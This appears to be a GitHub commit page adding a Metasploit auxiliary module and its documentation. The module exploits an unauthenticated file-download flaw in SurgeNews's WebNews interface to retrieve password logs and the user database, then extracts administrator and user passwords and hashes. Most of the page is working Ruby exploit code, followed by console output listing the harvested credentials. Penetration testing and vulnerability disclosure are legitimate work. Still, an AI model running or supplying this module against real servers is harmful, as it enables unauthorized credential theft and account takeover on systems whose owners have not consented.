Skip to content

Commit aa387e9

Browse files
committed
Land rapid7#8577, Add SurgeNews User Credentials scanner
2 parents 040ba90 + dff96ce commit aa387e9

File tree

2 files changed

+263
-0
lines changed

2 files changed

+263
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Description
2+
3+
This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files.
4+
5+
This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users.
6+
7+
8+
## Vulnerable Application
9+
10+
[SurgeNews](http://netwinsite.com/surgenews/) is a high performance, fully threaded, next generation News Server with integrated WebNews interface.
11+
12+
This module has been tested successfully on:
13+
14+
* SurgeNews version 2.0a-13 on Windows 7 SP 1.
15+
* SurgeNews version 2.0a-12 on Ubuntu Linux.
16+
17+
Installers:
18+
19+
* [SurgeNews Installers](http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgenews)
20+
21+
22+
## Verification Steps
23+
24+
1. Start `msfconsole`
25+
2. Do: `use auxiliary/scanner/http/surgenews_user_creds`
26+
3. Do: `set rhosts [IP]`
27+
4. Do: `run`
28+
5. You should get credentials
29+
30+
31+
## Scenarios
32+
33+
```
34+
msf > use auxiliary/scanner/http/surgenews_user_creds
35+
msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166
36+
rhosts => 172.16.191.133 172.16.191.166
37+
msf auxiliary(surgenews_user_creds) > run
38+
39+
[+] Found administrator credentials (admin:admin)
40+
41+
SurgeNews User Credentials
42+
==========================
43+
44+
Username Password Password Hash Admin
45+
-------- -------- ------------- -----
46+
admin admin true
47+
qwerty@bt {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL false
48+
user@bt {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn false
49+
50+
[+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt
51+
[*] Scanned 1 of 2 hosts (50% complete)
52+
[+] Found administrator credentials (test:test)
53+
[+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv)
54+
55+
SurgeNews User Credentials
56+
==========================
57+
58+
Username Password Password Hash Admin
59+
-------- -------- ------------- -----
60+
asdf@win-sgbsd5tqutq {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF false
61+
test test true
62+
test@win-sgbsd5tqutq {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc false
63+
test@win-sgbsd5tqutq {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K false
64+
zxcv@win-sgbsd5tqutq zxcv false
65+
66+
[+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt
67+
[*] Scanned 2 of 2 hosts (100% complete)
68+
[*] Auxiliary module execution completed
69+
```
70+
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Exploit::Remote::HttpClient
9+
include Msf::Auxiliary::Scanner
10+
11+
HttpFingerprint = { :pattern => [ /DManager/ ] }
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'SurgeNews User Credentials',
17+
'Description' => %q{
18+
This module exploits a vulnerability in the WebNews web interface
19+
of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated
20+
users to download arbitrary files from the software root directory;
21+
including the user database, configuration files and log files.
22+
23+
This module extracts the administrator username and password, and
24+
the usernames and passwords or password hashes for all users.
25+
26+
This module has been tested successfully on SurgeNews version
27+
2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
28+
},
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'],
33+
],
34+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
35+
'DisclosureDate' => 'Jun 16 2017'))
36+
register_options [ Opt::RPORT(9080) ]
37+
deregister_options 'RHOST'
38+
end
39+
40+
def max_retries
41+
3
42+
end
43+
44+
def check_host(ip)
45+
@tries = 0
46+
res = read_file 'install.log'
47+
if res =~ /SurgeNews/
48+
return Exploit::CheckCode::Vulnerable
49+
end
50+
Exploit::CheckCode::Safe
51+
end
52+
53+
def read_file(file)
54+
data = nil
55+
@tries += 1
56+
vprint_status "Retrieving file: #{file}"
57+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),
58+
'vars_get' => { 'cmd' => 'part', 'fname' => file }
59+
if !res
60+
vprint_error 'Connection failed'
61+
elsif res.code == 550
62+
vprint_error "Could not find file '#{file}'"
63+
elsif res.code == 200 && res.body =~ /550 Key: No key activated/
64+
# unregistered software throws an error once in every ~20 requests
65+
# try again...
66+
if @tries >= max_retries
67+
vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
68+
else
69+
vprint_status 'Retrying...'
70+
return read_file file
71+
end
72+
elsif res.code == 200 && !res.body.empty?
73+
vprint_good "Found #{file} (#{res.body.length} bytes)"
74+
data = res.body
75+
else
76+
vprint_error 'Unexpected reply'
77+
end
78+
@tries = 0
79+
data
80+
end
81+
82+
def parse_log(log_data)
83+
return if log_data.nil?
84+
username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
85+
password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last
86+
{ 'username' => username, 'password' => password }
87+
end
88+
89+
def parse_user_db(user_data)
90+
return if user_data.nil?
91+
creds = []
92+
user_data.lines.each do |line|
93+
next if line.eql? ''
94+
if line =~ /^(.+?):(.*):Groups=/
95+
user = $1
96+
pass = $2
97+
# clear text credentials are prefaced with '*'
98+
if pass.starts_with? '*'
99+
creds << { 'username' => user, 'password' => pass[1..-1] }
100+
# otherwise its a hash
101+
else
102+
creds << { 'username' => user, 'hash' => pass }
103+
end
104+
end
105+
end
106+
creds
107+
end
108+
109+
def run_host(ip)
110+
@tries = 0
111+
112+
service_data = { address: rhost,
113+
port: rport,
114+
service_name: (ssl ? 'https' : 'http'),
115+
protocol: 'tcp',
116+
workspace_id: myworkspace_id }
117+
118+
cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',
119+
'Indent' => 1,
120+
'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']
121+
122+
# Read administrator password from password.log
123+
admin = parse_log read_file 'password.log'
124+
# If password.log doesn't contain credentials
125+
# then the password hasn't been updated since install.
126+
# Retrieve the credentials from install.log instead.
127+
admin = parse_log read_file 'install.log' if admin.nil?
128+
129+
if admin.nil?
130+
vprint_error 'Found no administrator credentials'
131+
else
132+
print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"
133+
cred_table << [admin['username'], admin['password'], nil, true]
134+
135+
credential_data = { origin_type: :service,
136+
module_fullname: fullname,
137+
private_type: :password,
138+
private_data: admin['password'],
139+
username: admin['username'] }
140+
141+
credential_data.merge! service_data
142+
credential_core = create_credential credential_data
143+
login_data = { core: credential_core,
144+
access_level: 'Administrator',
145+
status: Metasploit::Model::Login::Status::UNTRIED }
146+
login_data.merge! service_data
147+
create_credential_login login_data
148+
end
149+
150+
# Read user credentials from nwauth.add
151+
users = parse_user_db read_file 'nwauth.add'
152+
if users.nil?
153+
vprint_error 'Found no user credentials in nwauth.add'
154+
else
155+
vprint_status "Found #{users.length} users in nwauth.add"
156+
end
157+
158+
users.each do |user|
159+
next if user.empty?
160+
161+
cred_table << [user['username'], user['password'], user['hash'], false]
162+
163+
if user['password']
164+
print_good "Found user credentials (#{user['username']}:#{user['password']})"
165+
credential_data = { origin_type: :service,
166+
module_fullname: fullname,
167+
private_type: :password,
168+
private_data: user['password'],
169+
username: user['username'] }
170+
else
171+
credential_data = { origin_type: :service,
172+
module_fullname: fullname,
173+
private_type: :nonreplayable_hash,
174+
private_data: user['hash'],
175+
username: user['username'] }
176+
end
177+
178+
credential_data.merge! service_data
179+
credential_core = create_credential credential_data
180+
login_data = { core: credential_core,
181+
access_level: 'User',
182+
status: Metasploit::Model::Login::Status::UNTRIED }
183+
login_data.merge! service_data
184+
create_credential_login login_data
185+
end unless users.nil?
186+
187+
print_line
188+
print_line cred_table.to_s
189+
190+
p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'
191+
print_good "Credentials saved in: #{p}"
192+
end
193+
end

0 commit comments

Comments
 (0)